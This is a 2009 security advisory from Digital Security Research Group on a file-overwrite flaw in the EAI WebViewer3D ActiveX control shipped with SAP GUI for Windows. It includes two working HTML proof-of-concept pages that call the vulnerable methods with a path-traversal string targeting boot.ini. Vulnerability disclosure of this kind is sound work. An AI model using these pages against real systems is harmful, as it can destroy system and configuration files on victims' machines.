Digital Security Research Group [DSecRG] Advisory #DSECRG-09-044
Application: EnjoySAP, SAP GUI for Windows 6.4 and 7.1
Versions Affected: Tested on 7100.2.7.1038 PL 7
Vendor URL: http://SAP.com
Bugs: insecure method, File owervriting
Exploits: YES
Reported: 02.07.2009
Vendor response: 02.07.2009
Date of Public Advisory: 22 сент
CVE-number:
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
SAP GUI for Windows 7.1 and 6.4 contains ActiveX component EAI WebViewer3D ( file WebViewer3D.dll) Lib GUID:
{AFBBE070-7340-11d2-AA6B-00E02924C34E}
which is contains insecure method that can overwrite any file in system.
Details
Attacker can construct html page which call one of the wulnerable functions such as:
1) SaveToSessionFile
2) SaveViewToSessionFile
from ActiveX component EAI WebViewer3D
Example1:
<HTML>
<BODY>
<object id=ctrl classid="clsid:{AFBBE070-7340-11d2-AA6B-00E02924C34E}"></object>
<SCRIPT>
function Do_1t()
{
File = "…/…/…/…/…/…/…/…/…/…/…/…/boot.ini"
ctrl.SaveToSessionFile(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>
Example2:
<HTML>
<BODY>
<object id=ctrl classid="clsid:{AFBBE070-7340-11d2-AA6B-00E02924C34E}"></object>
<SCRIPT>
function Do_1t()
{
File = "…/…/…/…/…/…/…/…/…/…/…/…/boot.ini"
ctrl.SaveViewToSessionFile(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>
For example we can overwrite boot.ini file or sapgui.ini which contains all connectionbs to sap servers
Fix Information
About
Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and
penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS
standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports,
advisories and whitepapers posted regularly on our website.
Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com